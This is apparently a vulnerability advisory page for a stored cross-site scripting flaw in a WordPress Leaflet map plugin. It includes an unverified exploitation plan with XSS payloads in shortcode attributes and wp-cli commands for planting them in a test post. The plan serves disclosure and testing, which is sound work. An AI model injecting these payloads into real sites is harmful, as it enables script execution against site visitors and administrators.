CVE-2026-5451

Extensions for Leaflet Map <= 4.14 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'elevation-track' Shortcode

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
4.15
Patched in
7d
Time to patch

Description

The Extensions for Leaflet Map plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'elevation-track' shortcode in all versions up to, and including, 4.14. This is due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=4.14
PublishedApril 2, 2026
Last updatedApril 8, 2026
Affected pluginextensions-leaflet-map

What Changed in the Fix

Changes introduced in v4.15

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

This research plan focuses on exploiting a Stored Cross-Site Scripting (XSS) vulnerability in the `Extensions for Leaflet Map` plugin via the `elevation-track` shortcode. ### 1. Vulnerability Summary The `Extensions for Leaflet Map` plugin (<= 4.14) fails to sufficiently sanitize and escape user-su…

Show full research plan

This research plan focuses on exploiting a Stored Cross-Site Scripting (XSS) vulnerability in the Extensions for Leaflet Map plugin via the elevation-track shortcode.

1. Vulnerability Summary

The Extensions for Leaflet Map plugin (<= 4.14) fails to sufficiently sanitize and escape user-supplied attributes within the elevation-track shortcode. This shortcode is designed to define tracks for elevation profiles. When a user with Contributor permissions or higher creates a post containing this shortcode with a malicious payload in attributes like name, file, lat, or lng, the payload is stored in the database. When any user (including Administrators) views the post, the unsanitized input is rendered in the HTML or passed into a JavaScript context, leading to script execution.

2. Attack Vector Analysis

  • Shortcode: [elevation-track]
  • Vulnerable Attributes: name (primary suspect), file, lat, lng.
  • Authentication Level: Authenticated, Contributor+. Contributors can create posts and insert shortcodes.
  • Endpoint: wp-admin/post.php (for injection via post creation/editing) and the frontend post URL (for execution).
  • Preconditions: The base Leaflet Map plugin must be active, as this plugin extends it. The [leaflet-map] and [multielevation] shortcodes may be required on the same page to trigger the rendering logic for elevation-track tracks.

3. Code Flow

  1. Entry Point: A user saves a post containing:
    [elevation-track name='<script>alert(1)</script>' file='https://example.com/track.gpx']
  2. Storage: WordPress saves this in the wp_posts table, post_content column.
  3. Rendering (Sink): When the post is viewed:
    • WordPress calls do_shortcode().
    • The plugin's shortcode handler for elevation-track is executed.
    • Based on admin/elevation/multielevation.php documentation, these attributes are collected to build a track list.
    • The handler likely outputs the name attribute directly into the HTML (e.g., in a data-name attribute or a list item) or localizes it into a JavaScript object for the Leaflet Elevation library.
    • Failure to use esc_attr(), esc_html(), or wp_json_encode() at the point of output results in XSS.

4. Nonce Acquisition Strategy

No nonce is required to exploit this vulnerability.

  • The injection occurs by saving a standard WordPress post/page.
  • WordPress handles the _wpnonce for the post.php editor internally.
  • The execution happens automatically when a victim views the affected post; no frontend nonce is required to trigger the XSS.

5. Exploitation Strategy

The goal is to inject a payload via the name attribute of the elevation-track shortcode.

Step-by-Step Plan:

  1. Login as Contributor: Use the http_request tool to authenticate as a user with the contributor role.
  2. Create Post: Use the http_request tool to send a POST request to wp-admin/post-new.php or use wp-cli to create a post with the malicious shortcode.
    • Payload 1 (HTML Breakout): [elevation-track name='"><script>alert("XSS")</script>' file='https://example.com/t.gpx']
    • Payload 2 (Attribute Injection): [elevation-track name="' onmouseover='alert(1) " file='https://example.com/t.gpx']
    • Payload 3 (Direct Script): [elevation-track name='<img src=x onerror=alert(document.domain)>' file='https://example.com/t.gpx']
  3. Ensure Context: The documentation in admin/elevation/multielevation.php suggests elevation-track is part of a set. Use this structure:
    [leaflet-map]
    [elevation-track file="https://example.com/test.gpx" name="<img src=x onerror=alert(1)>"]
    [multielevation]
    
  4. View Post: Navigate to the published post's URL using browser_navigate.
  5. Verify Execution: Use browser_eval to check for the existence of the alert or evidence of the payload in the DOM.

6. Test Data Setup

  • User: Create a user with the role contributor.
  • Plugins:
    • Ensure leaflet-map (base plugin) is installed and active.
    • Ensure extensions-leaflet-map (target) is installed and active.
  • Shortcode Wrapper: Create a post as Contributor:
    wp post create --post_type=post --post_status=publish --post_title="XSS Test" --post_content='[leaflet-map][elevation-track file="https://raw.githubusercontent.com/Raruto/leaflet-elevation/master/examples/demo.gpx" name="<img src=x onerror=alert(document.domain)>"][multielevation]' --post_author=2
    

7. Expected Results

  • When the post is rendered, the HTML source will contain the unescaped <img> tag or <script> tag.
  • The browser will execute the alert(document.domain) payload.
  • If the payload is inside a Leaflet JavaScript initialization block, the script will break the string literal and execute.

8. Verification Steps

  1. Check Database:
    wp db query "SELECT post_content FROM wp_posts WHERE post_title='XSS Test'"
    
  2. Check Frontend HTML:
    Use http_request (GET) to fetch the post URL and grep for the payload:
    http_request GET http://localhost:8080/?p=POST_ID
    # Look for: <img src=x onerror=alert(document.domain)>
    
  3. Check DOM in Browser:
    Use browser_eval("document.body.innerHTML.includes('onerror=alert')").

9. Alternative Approaches

  • Attribute: file: If name is sanitized, try the file attribute. The plugin might attempt to use the URL in a way that allows javascript: protocol or attribute breakout.
    • [elevation-track file='"><script>alert(1)</script>']
  • Attribute: lat / lng: These are often treated as numbers, but if the plugin doesn't cast them to float, they can carry strings.
    • [elevation-track lat='<script>alert(1)</script>' lng='0']
  • SVG Injection: If the plugin allows specifying a GPX/KML file that it then parses and reflects parts of (like track names from within the XML), try hosting a malicious GPX file. However, the CVE specifically points to shortcode attributes.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.